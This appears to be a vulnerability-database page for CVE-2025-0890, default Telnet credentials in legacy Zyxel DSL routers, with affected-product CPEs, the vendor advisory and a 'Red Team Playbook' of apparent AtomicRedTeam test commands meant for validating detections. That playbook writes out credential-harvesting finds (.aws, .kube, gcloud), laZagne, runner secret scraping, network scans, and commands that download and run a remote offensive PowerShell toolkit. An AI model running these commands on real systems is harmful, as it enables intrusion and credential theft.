CVE-2025-0890
Overview
This vulnerability is an authentication weakness caused by the presence of insecure default credentials in the Telnet management interface of Zyxel VMG4325-B10A firmware version 1.00(AAFR.4)C0_20170615. The root cause is the failure to enforce credential changes on initial setup, leaving default login details active. The affected component is the legacy DSL CPE device's Telnet service, which accepts administrative access without credential validation beyond the default values.
Vulnerability Description
**UNSUPPORTED WHEN ASSIGNED** Insecure default credentials for the Telnet function in the legacy DSL CPE Zyxel VMG4325-B10A firmware version 1.00(AAFR.4)C0_20170615 could allow an attacker to log in to the management interface if the administrators have the option to change the default credentials but fail to do so.
Impact
An unauthenticated attacker with network access to the device's Telnet port can log into the management interface using default credentials, gaining full administrative control. This enables the attacker to modify device settings, disrupt service, or pivot within the network. No user interaction or prior authentication is required (CVSS vector AV:N/AC:L/PR:N/UI:N). The high severity is due to the potential for complete compromise of the affected device and associated network infrastructure.
Solution
Zyxel has issued a security advisory addressing this vulnerability for affected legacy DSL CPE devices, including VMG4325-B10A firmware 1.00(AAFR.4)C0_20170615. Administrators should apply the vendor-released firmware updates as detailed in the advisory at https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-command-injection-and-insecure-default-credentials-vulnerabilities-in-certain-legacy-dsl-cpe-02-04-2025. The advisory provides specific patch versions and instructions to disable or change default Telnet credentials to mitigate unauthorized access.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (15)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Zyxel | Vmg4325-B10a Firmware | N/A |
cpe:2.3:o:zyxel:vmg4325-b10a_firmware:-:*:*:*:*:*:*:*
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|
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Zyxel | Sbg3500-N000 Firmware | N/A |
cpe:2.3:o:zyxel:sbg3500-n000_firmware:-:*:*:*:*:*:*:*
|
|
|
Zyxel | Vmg1312-B10a Firmware | N/A |
cpe:2.3:o:zyxel:vmg1312-b10a_firmware:-:*:*:*:*:*:*:*
|
|
|
Zyxel | Vmg1312-B10b Firmware | N/A |
cpe:2.3:o:zyxel:vmg1312-b10b_firmware:-:*:*:*:*:*:*:*
|
|
|
Zyxel | Vmg1312-B10e Firmware | N/A |
cpe:2.3:o:zyxel:vmg1312-b10e_firmware:-:*:*:*:*:*:*:*
|
|
|
Zyxel | Vmg3312-B10a Firmware | N/A |
cpe:2.3:o:zyxel:vmg3312-b10a_firmware:-:*:*:*:*:*:*:*
|
|
|
Zyxel | Vmg3313-B10a Firmware | N/A |
cpe:2.3:o:zyxel:vmg3313-b10a_firmware:-:*:*:*:*:*:*:*
|
|
|
Zyxel | Vmg3926-B10b Firmware | N/A |
cpe:2.3:o:zyxel:vmg3926-b10b_firmware:-:*:*:*:*:*:*:*
|
|
|
Zyxel | Vmg4325-B10a Firmware | N/A |
cpe:2.3:o:zyxel:vmg4325-b10a_firmware:-:*:*:*:*:*:*:*
|
|
|
Zyxel | Vmg4380-B10a Firmware | N/A |
cpe:2.3:o:zyxel:vmg4380-b10a_firmware:-:*:*:*:*:*:*:*
|
|
|
Zyxel | Vmg8324-B10a Firmware | N/A |
cpe:2.3:o:zyxel:vmg8324-b10a_firmware:-:*:*:*:*:*:*:*
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|
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Zyxel | Vmg8924-B10a Firmware | N/A |
cpe:2.3:o:zyxel:vmg8924-b10a_firmware:-:*:*:*:*:*:*:*
|
|
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Zyxel | Sbg3300-N000 Firmware | N/A |
cpe:2.3:o:zyxel:sbg3300-n000_firmware:-:*:*:*:*:*:*:*
|
|
|
Zyxel | Sbg3300-Nb00 Firmware | N/A |
cpe:2.3:o:zyxel:sbg3300-nb00_firmware:-:*:*:*:*:*:*:*
|
|
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Zyxel | Sbg3500-Nb00 Firmware | N/A |
cpe:2.3:o:zyxel:sbg3500-nb00_firmware:-:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Danyw24/zyxel-p870hn-hardware-hacking
From a bare PCB to root: hardware-hacking a ZyXEL P-870HN (BCM6368) over UART — CVE-2025-0890 + CVE-2024-40891, on my ow...
|
Danyw24 | 0 | 0 | 2026-08-13 | View |
Threat Feed
6 eventsProof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-0890 |
| zyxel.com |
GitHub CVE
vendor-advisory
|
https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-command-injection-and-insecure-default-credentials-vulnerabilities-in-certain-legacy-dsl-cpe-02-04-2025 |